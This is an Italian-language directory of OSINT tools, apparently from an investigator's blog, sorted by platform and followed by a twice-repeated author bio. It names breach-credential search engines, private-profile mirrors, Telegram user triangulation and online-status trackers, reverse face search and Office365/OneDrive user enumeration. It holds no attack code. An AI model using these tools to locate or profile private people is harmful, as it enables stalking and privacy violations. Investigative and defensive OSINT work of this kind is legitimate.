LeakCheck	Motore di ricerca per credenziali compromesse, offre varie funzioni, alcune funzionalità sono a pagamento. Tra i database più completi in assoluto.

Have I Been Pwned	Per individuare le eventuali compromissioni di un indirizzo e-mail. Tali compromissioni saranno da ricercare separatamente.
PWNDB	Motore di ricerca gratuito per credenziali compromesse, offre varie funzioni, ma il database non è tra i più completi.
DeHashed	Motore di ricerca per credenziali compromesse, offre varie funzioni, alcune funzionalità sono a pagamento.
IntelX	Motore di ricerca per credenziali compromesse, offre varie funzioni, alcune funzionalità sono a pagamento. Tra i database più completi in assoluto.
LeakCheck	Motore di ricerca per credenziali compromesse, offre varie funzioni, alcune funzionalità sono a pagamento. Tra i database più completi in assoluto.

Username

What's My Name Per La ricerca di un username su vari servizi online. Limitato a qualche centinaio di servizi ma con pochissimi falsi positivi.

Maigret Semplice script python, permette di individuare i servizi nel quale un username è registrato. Ricerca su migliaia di servizi ma con molti falsi positivi. Funzionalità aggiuntive come la ricerca ricorsiva e l'estrazione dei dati dal profilo.

Intelx Offre un tool apposito per la ricerca degli username, molto limitato

PWNDB Trattando un username come fosse un'e-mail o una password è possibile individuare informazioni aggiuntive tramite le violazioni dei dati.

LeakCheck è possibile effettuare una ricerca per username al fine di individuare eventuali account compromessi.

Toutatis Semplice script python, permette di individuare tramite una ricerca per username: numeri telefonici, e-mail ed altre informazioni di un account Instagram.

PicuKi Mirroring di Instagram, in alcuni casi i profili privati da poco tempo possono essere ancora visualizzabili in questo servizio.

GhostDex Mirroring di Snapchat, in alcuni casi i profili privati da poco tempo possono essere ancora visualizzabili in questo servizio.

OnlySearch Motore di ricerca "terzo" per profili Onlyfans. Ricerca tramite username possibile.

GitReacon Semplice script python, permette di individuare tramite una ricerca per username, l'indirizzo e-mail di un account GitHub.

Marple Semplice script python, permette di effettuare lo scraping di un'username sui principali motori di ricerca.

Facebook

SowSearch Permette la creazione di Url specifici per ricerche avanzate su Facebook. Utilizza endpoint differenti dalla normale GUI Facebook, talvolta quindi i risultati saranno più completi utilizzando questo tools.

Fuck Facebook Per Verificare eventuali databreach del numero telefonico all'interno del database trapelato da Facebook.

Mbasic Versione di Facebook per cellulari “legacy” permette il download di immagini e video semplicemente premendo il tasto destro.

ADS Library Motore di ricerca per gli ADS pubblicati all’interno delle piattaforme META (Instagram, Facebook, Oculus ecc.)

FindMyID Permette di individuare l’id univoco di un utente Facebook

Instagram

PicuKi Mirroring di Instagram, in alcuni casi i profili privati da poco tempo possono essere ancora visualizzabili in questo servizio.

Toutatis Semplice script python, permette di individuare tramite una ricerca per username: numeri telefonici, e-mail ed altre informazioni di un account Instagram.

ADS Library Motore di ricerca per gli ADS pubblicati all’interno delle piattaforme META (Instagram, Facebook, Oculus ecc.)

Insta LockTrack Permette di scaricare e visualizzare su una mappa le foto contenenti Geotag di un profilo Instagram.

Sterra Permette di scaricare e visualizzare direttamente seguaci e seguiti.

StorySaver Permette di scaricare le storie di un’utente.

Twitter/X

(Nota Bene: a causa delle restrizioni delle API di Twitter, alcuni di questi tools non sono al momento funzionanti e non è detto che ritorneranno ad esserlo in futuro)

TweetDeck Permette di creare diverse tab di ricerca in unica pagina.

Follower Wonk Permette di comparare i follower di diversi profili al fine di invidiare gli utenti comuni tra due o più utenti.

TruthNest Analisi di dettaglio di un account Twitter.

Tweet Binder Analisi di dettaglio di un account Twitter.

Hashtagify Analisi di dettaglio di un Hashtag.

Does Follow Permette di conoscere se un determinato account segue un determinato utente.

Twint Scraping e analisi di un'account Twitter.

TikTok

UrleBird Permette di visualizzare un account TikTok senza registrarsi.

TikTok Data Extractor Determina l'orario di pubblicazione di un contenuto TikTok.

Exolyt Determina Statistiche ed Engagement di un profilo TikTok.

TikTok Scraper Scraping di contenuti TikTok.

Snapthic Servizio online per il download di contenuti da TikTok.

Linkedin

People
Search Permette di effettuare ricerche su LinkedIn senza avere un account.

Apollo Database B2B: consente di individuare informazioni aggiuntive su un profilo LinkedIn quali e-mail, numeri telefonici ed indirizzi.

Lusha Database B2B: consente di individuare informazioni aggiuntive su un profilo LinkedIn quali e-mail, numeri telefonici ed indirizzi.

RocketReach Database B2B: consente di individuare informazioni aggiuntive su un profilo LinkedIn quali e-mail, numeri telefonici ed indirizzi.

CrossLinked Script che consente di ottenere la lista degli utenti che lavorano per una determinata azienda.

Twitch

Untwitch Servizio online per il download dei contenuti postati su Twitch.

TwitchTools Servizio online per il download dei seguaci e dei seguiti di un account Twitch.

Twitch
Trackers Servizio online per individuare le analytics e i possibili guadagni di un account "streamer"

YouTube

Data Tools Servizio online per l'analisi di utenti e commenti di un determinato video YouTube.

MetaData
Extractor Servizio online per l'analisi e l'estrazione di MetaDati di un determinato video YouTube.

Comment Downloader	Script per il download dei commenti di un video Youtube.
Transcript API	Script per il download dei sottotitoli di un video Youtube.
YouFilter	Filtri di ricerca avanzata per YouTube.
Youtube Downloader	Servizio online per il download di contenuti YouTube.

ClubHouse

ClubHouse Database Ricerca di profili ClubHouse senza necessita di registrazione.

Rooms Ricerca di stanze pubblicamente accessibili.

ClubSearch Ricerca di stanze pubblicamente accessibili.

OnlyFans

OnlySearch Motore di ricerca “terzo” per account OnlyFans.

SimilarFans Motore di ricerca “terzo” per account OnlyFans.

Patreon

GraphTreon Statistiche e guadagni di un account Patreon.

Alternative Social

Alternative Search Motore di ricerca per Parler, Gab, Minds e altri social alternativi.

Telegram

Telegago	Motore di ricerca per contenuti Telegram.
Recorded	Motore di ricerca avanzato per contenuti Telegram.
TGSTAT	Database di post e utenti ricercabili attraverso chiavi di ricerca.
NearBy map	Script per la triangolazione di utenti Telegram.
Telegram OnlineSpy	Script per il monitoraggio dei cambi di stato “online” “offline” di un utente.
Telegram Analytics	Script che consente di analytics di una chat telegram
Telepathy	Suite completa di investigazione su Telegram.
TGScan Robot	Ricerca in quali gruppi pubblici è presente un determinato utente

PimEyes Bot Riconoscimento facciale inverso tramite Bot Telegram.

GitHub

GitReacon Semplice script python, permette di individuare tramite una ricerca per username, l'indirizzo e-mail di un account GitHub.

GitOSINT Bot Discord per la ricerca di informazioni su GitHub

Onedrive

User_enum Script di enumerazione degli utenti OneDrive presenti su un dominio.

Office365

O365CHK Script per ottenere informazioni su un'istanza Office365.

OH365 Script per ottenere informazioni su un e-mail registrata su Office365.

WIFI

GeoWIFI Script per ottenere la posizione di una determinata rete WiFi sfruttando vari database.

Scrapping

Instant Data Scraper Plugin Chrome per effettuare scraping da qualsiasi piattaforma.

FINE

PimEyes Bot Riconoscimento facciale inverso tramite Bot Telegram.

GitHub

GitReacon Semplice script python, permette di individuare tramite una ricerca per username, l'indirizzo e-mail di un account GitHub.

GitOSINT Bot Discord per la ricerca di informazioni su GitHub

Onedrive

User_enum Script di enumerazione degli utenti OneDrive presenti su un dominio.

Office365

O365CHK Script per ottenere informazioni su un'istanza Office365.

OH365 Script per ottenere informazioni su un e-mail registrata su Office365.

WIFI

GeoWIFI Script per ottenere la posizione di una determinata rete WiFi sfruttando vari database.

Scraping

Instant Data Scraper Plugin Chrome per effettuare scraping da qualsiasi piattaforma.

FINE

ABOUT THE AUTHOR

Ciao a tutti, sono Mattia Vicenzi, classe 96, appassionato, fin da ragazzino, di sicurezza informatica e tecnologia. Sono un Nomade Digitale, studio, lavoro e viaggio costantemente in posti diversi. Attualmente ho visitato 26 nazioni differenti. I miei viaggi sono per lo più di lunga durata. Preferisco il viaggio lento a quello toccata e fuga. Mi occupo di Cyber Threat Intelligence, Open Source Intelligence e Digital Risk Protection. Attualmente lavoro per la società Group-IB, partner di Europol ed Interpol. Nell'ambito del mio ruolo svolgo analisi su fonti pubbliche riguardanti nuovi scenari di attacco, possibili minacce e rischi aziendali, studi e ricerche sulla criminalità informatica nazionale e internazionale. In Group-IB ho recentemente vinto il premio GIB STAR, premio attribuito per grossi meriti lavorativi e il lancio di nuove opportunità di Business. Nel febbraio 2021, ho fondato OSINTITALIA insieme ad alcuni amici e colleghi, la prima associazione senza scopo di lucro dedicata alle tematiche OSINT per fini sociali come la violenza in rete, il cyberbullismo e la disinformazione. Con OSINTITALIA ho vinto la prima OSINTITALIA Training Challenge e partecipato a diverse OSINT CTF per l'associazione internazionale TraceLabs, occupandomi di investigazioni attraverso media, fonti pubbliche e ricerche su deep web e dark web con l'obiettivo di supportare le forze dell'ordine nella ricerca di informazioni e localizzazione di persone realmente scomparse. Nell'ambito di queste competizioni mondiali, insieme al mio team ho vinto, nel 2022 il Badge d'oro, posizionandomi al primo posto, oltre al terzo posto nel 2021. Nel 2020 mi sono aggiudicato il quarto posto a DEFCON, partecipando in solitario contro gli altri team. Sono stato inoltre analista volontario per la National Child Protection Task Force, che si occupa di fornire aiuto alle forze dell'ordine nel combattere i crimini che coinvolgono minorenni. Inoltre ho fatto anche parte come analista OSINT di Locate International, organizzazione no profit che si occupa di risolvere i cold case in Gran Bretagna.

Read more at [Mattia Vicenzi's site](#).

ABOUT THE AUTHOR

Ciao a tutti, sono Mattia Vicenzi, classe 96, appassionato, fin da ragazzino, di sicurezza informatica e tecnologia. Sono un Nomade Digitale, studio, lavoro e viaggio costantemente in posti diversi. Attualmente ho visitato 26 nazioni differenti. I miei viaggi sono per lo più di lunga durata. Preferisco il viaggio lento a quello toccata e fuga. Mi occupo di Cyber Threat Intelligence, Open Source Intelligence e Digital Risk Protection. Attualmente lavoro per la società Group-IB, partner di Europol ed Interpol. Nell'ambito del mio ruolo svolgo analisi su fonti pubbliche riguardanti nuovi scenari di attacco, possibili minacce e rischi aziendali, studi e ricerche sulla criminalità informatica nazionale e internazionale. In Group-IB ho recentemente vinto il premio GIB STAR, premio attribuito per grossi meriti lavorativi e il lancio di nuove opportunità di Business. Nel febbraio 2021, ho fondato OSINTITALIA insieme ad alcuni amici e colleghi, la prima associazione senza scopo di lucro dedicata alle tematiche OSINT per fini sociali come la violenza in rete, il cyberbullismo e la disinformazione. Con OSINTITALIA ho vinto la prima OSINTITALIA Training Challenge e partecipato a diverse OSINT CTF per l'associazione internazionale TraceLabs, occupandomi di investigazioni attraverso media, fonti pubbliche e ricerche su deep web e dark web con l'obiettivo di supportare le forze dell'ordine nella ricerca di informazioni e localizzazione di persone realmente scomparse. Nell'ambito di queste competizioni mondiali, insieme al mio team ho vinto, nel 2022 il Badge d'oro, posizionandomi al primo posto, oltre al terzo posto nel 2021. Nel 2020 mi sono aggiudicato il quarto posto al DEFCON, partecipando in solitario contro gli altri team. Sono stato inoltre analista volontario per la National Child Protection Task Force, che si occupa di fornire aiuto alle forze dell'ordine nel combattere i crimini che coinvolgono minorenni. Inoltre ho fatto anche parte come analista OSINT di Locate International, organizzazione no profit che si occupa di risolvere i cold case in Gran Bretagna.

Read more at [Mattia Vicenzi's site](#).